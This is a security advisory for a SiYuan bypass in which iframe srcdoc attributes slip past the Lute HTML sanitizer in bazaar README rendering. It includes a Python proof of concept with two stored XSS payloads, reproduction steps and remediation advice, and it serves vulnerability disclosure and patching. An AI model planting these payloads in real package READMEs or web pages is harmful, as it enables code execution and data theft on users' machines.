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GHSA-8q5w-mmxf-48jg

Опубликовано: 14 апр. 2026
Источник: github
Github: Прошло ревью
CVSS4: 5.3
CVSS3: 5.4

Описание

SiYuan has incomplete fix for CVE-2026-33066: XSS

Summary

The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block <iframe> tags, allowing stored XSS via srcdoc attributes containing embedded scripts that execute in the Electron context.

Affected Package

  • Ecosystem: Go
  • Package: github.com/siyuan-note/siyuan
  • Affected versions: < commit b382f50e1880
  • Patched versions: >= commit b382f50e1880

Details

The renderPackageREADME() function in kernel/bazaar/readme.go renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds luteEngine.SetSanitize(true) to enable Lute's built-in HTML sanitizer.

However, the Lute sanitizer in lute/render/sanitizer.go has a critical gap:

  1. <iframe> is explicitly commented out of setOfElementsToSkipContent, so iframe tags pass through.
  2. The srcdoc attribute is checked against URL-prefix blocklists (javascript:, data:text/html), but srcdoc contains raw HTML content, not a URL. A value like <img src=x onerror=alert(1)> does not start with any blocked prefix.
  3. The browser renders srcdoc HTML in a nested browsing context, executing embedded scripts and event handlers.

The fix correctly blocks direct <script> tags, event handler attributes, and javascript: protocol links. However:

  • <iframe srcdoc="<script>alert(document.domain)</script>"> passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).
  • <iframe srcdoc="<img src=x onerror=alert(document.cookie)>"> also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.

PoC

""" CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering Component: kernel/bazaar/readme.go :: renderPackageREADME() Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428 """ import re import sys from html.parser import HTMLParser ELEMENTS_TO_SKIP_CONTENT = { "frame", "frameset", # "iframe", # NOTE: iframe is commented out in the original Go code! "noembed", "noframes", "noscript", "nostyle", "object", "script", "style", "title", } EVENT_ATTRS = { "onafterprint", "onbeforeprint", "onbeforeunload", "onerror", "onhashchange", "onload", "onmessage", "onoffline", "ononline", "onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage", "onunload", "onblur", "onchange", "oncontextmenu", "onfocus", "oninput", "oninvalid", "onreset", "onsearch", "onselect", "onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick", "ondblclick", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseleave", "onmouseenter", "onmouseup", "onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter", "ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll", "oncopy", "oncut", "onpaste", "onabort", "oncanplay", "oncanplaythrough", "oncuechange", "ondurationchange", "onemptied", "onended", "onloadeddata", "onloadedmetadata", "onloadstart", "onpause", "onplay", "onplaying", "onprogress", "onratechange", "onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate", "onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend", "onrepeat", "http-equiv", "formaction", } URL_ATTRS = {"src", "srcdoc", "srcset", "href"} BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript") SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area", "base", "col", "embed", "source", "track", "wbr"} def sanitize_attr_value_for_url(key, val): cleaned = val.lower().strip() cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ') for prefix in BLOCKED_URL_PREFIXES: if cleaned.startswith(prefix): return False return True class LuteSanitizer(HTMLParser): def __init__(self): super().__init__(convert_charrefs=False) self.output = [] self.skip_depth = 0 def handle_starttag(self, tag, attrs): tag = tag.lower() if tag in ELEMENTS_TO_SKIP_CONTENT: self.skip_depth += 1 self.output.append(" ") return if self.skip_depth > 0: return sanitized_attrs = [] for key, val in attrs: key = key.lower() if val is None: val = "" if key in EVENT_ATTRS: continue if key in URL_ATTRS: if not sanitize_attr_value_for_url(key, val): continue sanitized_attrs.append((key, val)) parts = ["<" + tag] for key, val in sanitized_attrs: escaped_val = val.replace("&", "&amp;").replace('"', "&quot;") parts.append(f' {key}="{escaped_val}"') if tag in SELF_CLOSING_TAGS: parts.append(" /") parts.append(">") self.output.append("".join(parts)) def handle_endtag(self, tag): tag = tag.lower() if tag in ELEMENTS_TO_SKIP_CONTENT: self.skip_depth -= 1 if self.skip_depth < 0: self.skip_depth = 0 self.output.append(" ") return if self.skip_depth > 0: return self.output.append(f"</{tag}>") def handle_data(self, data): if self.skip_depth > 0: return self.output.append(data) def handle_entityref(self, name): if self.skip_depth > 0: return self.output.append(f"&{name};") def handle_charref(self, name): if self.skip_depth > 0: return self.output.append(f"&#{name};") def handle_comment(self, data): pass def handle_decl(self, decl): pass def get_output(self): return "".join(self.output) def sanitize_html(html_str): sanitizer = LuteSanitizer() sanitizer.feed(html_str) return sanitizer.get_output() def check_xss(html_output): findings = [] srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE) if srcdoc_match: import html as html_mod decoded = html_mod.unescape(srcdoc_match.group(1).lower()) if '<script' in decoded: findings.append("iframe srcdoc: embedded <script> tag") if re.search(r'on\w+\s*=', decoded): findings.append("iframe srcdoc: event handler in nested HTML") return findings PAYLOADS = [ '<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>', '<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"></iframe>', ] bypass_found = False for payload in PAYLOADS: fixed_output = sanitize_html(payload) findings = check_xss(fixed_output) if findings: bypass_found = True print(f"BYPASS: {payload[:80]}") for f in findings: print(f" - {f}") if bypass_found: print("\nVULNERABILITY CONFIRMED") sys.exit(0) else: print("\nVULNERABILITY NOT CONFIRMED") sys.exit(1)
python3 poc.py

Steps to reproduce:

  1. git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test
  2. cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1
  3. python3 poc.py (or go run poc.go if Go PoC)

Expected output:

VULNERABILITY CONFIRMED Iframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context.

Impact

A malicious bazaar package author can include <iframe srcdoc='<script>...</script>'> in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine.

Suggested Remediation

  1. Add iframe to the setOfElementsToSkipContent set in the Lute sanitizer.
  2. If iframes must be preserved, strip the srcdoc attribute entirely or sanitize its HTML content recursively.
  3. Apply a Content Security Policy (CSP) to the README rendering context.

References

Пакеты

Наименование

github.com/siyuan-note/siyuan/kernel

go
Затронутые версииВерсия исправления

< 0.0.0-20260414013942-62eed37a3263

0.0.0-20260414013942-62eed37a3263

EPSS

Процентиль: 18%
0.00261
Низкий

5.3 Medium

CVSS4

5.4 Medium

CVSS3

Дефекты

CWE-79

Связанные уязвимости

CVSS3: 5.4
nvd
4 месяца назад

SiYuan is an open-source personal knowledge management system. In versions 3.6.1 through 3.6.3, a prior fix for XSS in bazaar README rendering (incomplete fix for CVE-2026-33066) enabled the Lute HTML sanitizer, but the sanitizer does not block iframe tags, and its URL-prefix blocklist does not effectively filter srcdoc attributes which contain raw HTML rather than URLs. A malicious bazaar package author can include an iframe with a srcdoc attribute containing embedded scripts in their README. When other users view the package in SiYuan's marketplace UI, the payload executes in the Electron context with full application privileges, enabling arbitrary code execution on the user's machine. This issue has been fixed in version 3.6.4.

CVSS3: 5.4
fstec
5 месяцев назад

Уязвимость системы управления персональными знаниями SiYuan, связанная с непринятием мер по защите структуры веб-страницы, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 18%
0.00261
Низкий

5.3 Medium

CVSS4

5.4 Medium

CVSS3

Дефекты

CWE-79